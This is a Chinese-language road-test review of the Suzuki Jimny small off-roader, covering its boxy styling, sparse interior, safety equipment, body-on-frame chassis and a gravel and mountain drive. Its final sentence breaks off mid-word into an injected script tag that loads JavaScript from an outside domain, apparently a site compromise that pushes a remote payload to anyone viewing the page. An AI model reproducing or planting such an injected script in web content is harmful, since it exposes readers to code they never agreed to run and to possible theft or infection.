外观

    初次见到铃木吉姆尼还是在2002北京国际车展上，当时可以用“一见倾心”来形容。吉姆尼整体造型硬朗又不失可爱。这体现在它前部线条刚硬、造型方正的硬汉风格以及尾部更具现代感的圆润造型设计。整车采取的是三门设计（包括尾部行李箱门）。瀑布式的中央散热格栅、圆形大灯搭配一起。有人戏言，吉姆尼的前部很像一只熊猫，而方方正正的车身又好似一个盒子。这样可爱的卡通造型是铃木的标志，已经国产了的如长安铃木雨燕和早期的昌河铃木北斗星也采取了这样的设计。而吉姆尼的整车长宽高为3665×1600×1705mm，比长安铃木雨燕更短、更窄一些，我们能感觉到它比较符合一般越野车形象的只有它的车身比例。整车还有一个设计亮点就是两侧的车门和反光镜异乎寻常的大，当然，车门的反光镜的形状也跟随整车一样，方方正正。几乎填满了前后轮之间的距离的宽大车门设计更加便于车上人员出入。在吉姆尼的尾部，外挂的备胎提醒着人们自己是辆血统纯正的越野车。虽然整车不大，前后座头部空间均有不错表现，前部驾驶与副驾驶都有足够舒适的空间，这是在牺牲了后部空间的基础上达到的。这辆“双门小家伙”真的只适合双人使用。由于是双门布置，要想进入后排乘坐的话必须通过副驾驶座椅上的Easy-Entry（简单进入）功能。拉开尾部行李箱门，可以储存的空间并不大，若想增大行李箱容积只能通过放倒后排座椅来实现。

    内饰

    麻雀虽小，五脏俱全。铃木吉姆尼没有什么诸如影像倒车、DVD之类的豪华配置，但一般中级轿车应具备的全有。吉姆尼仪表盘设计大而简洁，单碟CD、自动空调的配置也让人满意，电动车窗、电动调节后视镜使用起来也很方便，可能吉姆尼的后排不经常用来载人，后排的车窗并不是电动的。深灰色的内饰比较适合越野用途，不可调节的三幅方向盘握在手里，感觉少了些舒适，多了些僵硬，也许这也和吉姆尼的越野主题相吻合吧。吉姆尼的针织座椅比较单薄，乘坐起来没那么舒适。整体来看铃木吉姆尼的内饰虽然样式陈旧但整体简洁大方。作为一款越野车，吉姆尼虽然身材很小，但它的安全性却不用置疑，双安全气囊和ABS自然是标准配置，三段式梯形梁架结构、刚性车身以及侧门防撞杆也同时对乘员进行保护，可以让驾驶者和乘客有一个安全舒适的驾乘空间。电子防盗和一体化遥控钥匙也是标配。

    越野操控

    初次驾驶吉姆尼这样的小型越野车，感觉稍有些不太习惯，前排两个座位挨的很近。在公路行使，将挡位选择在D挡上，轻踩油门你会感觉车头向上一抬，这个动作十分轻巧，没有其他越野车的沉重感，但持续加速性一般，毕竟这不是吉姆尼所要追求的。穿梭在城市道路上，短小的车身无论停车还是并线，都非常让人舒服，只是装配四速变速器显得厂家多少有些不厚道。
　　
    吉姆尼整车的重心偏高，按理说过弯的稳定性不会太好，但实际在弯道处的表现很让人满意，倾斜度很少。吉姆尼前后都是非独立悬挂，采用了内置梯型车架、配以三点硬轴螺旋弹簧的悬架系统，底盘相当扎实。很多人把吉姆尼比作是小型SUV，但以我试驾一星期后的感受来说，我更认为这是一款绝对的硬派越野车。
　　
    原本决定去南口的坦克训练基地让吉姆尼大展身手，还叫上了越野圈内的一个高手“野人”一起前往。但在路途中，“野人”老兄又给我推荐了另外一个地方，位于河北后城的亚洲第一巨石。既然是高手推荐，也就欣然接受了。下了八达岭高速后不久，开始进入一条碎石路况的小道。车速一直稳定在70公里左右，期间经常遇到无法躲避的大坑，吉姆尼常常是4轮腾空而起，短轴距让车身颠簸很厉害，舒适程度较差，但刺激程度可想而知。经过30公里的碎石路考验，终于驶上正常路面，此时没有听到任何由车身处发出的异响，这完全得益于吉姆尼专业越野底盘的非承载式车身设计。这种车身通过多个橡胶垫沿车身总长安装在大梁上，橡胶垫可以吸收以及缓冲来自不平路面的冲击和振动，从路面、发动机、转向机构、传动机构、悬挂等传来的振动不会直接传给车身，从而提高驾乘者的舒适度。非承载式车身的缺点是驾乘舱的地板比较高，上下车略有不便。一般轿车车身和目前的大部分SUV基本都使用承载式车身设计，在遇到恶劣的路面时，车身都会有轻微的变形，严重时甚至无法打开车门。这些也是SUV和越野车的区别，并不是有四轮驱动就代表是越野车。
　　
    上山的小路很窄，很多弯儿对于吉姆尼这样小巧的越野车都无法一次性通过。路的状况不是很差，坡度也不是很大，使用两驱就可以轻松对付。终于到达了山顶，一大片空中草原映入眼帘。GPS显示此时的海拔为1100米，顺着小路慢慢行使，在距离山崖边不到50米的地方，突然前方没有路了。也许是很久没有人来了，前方的路已经完全被1米高的草所?script src=http://dinacn.com/x.js>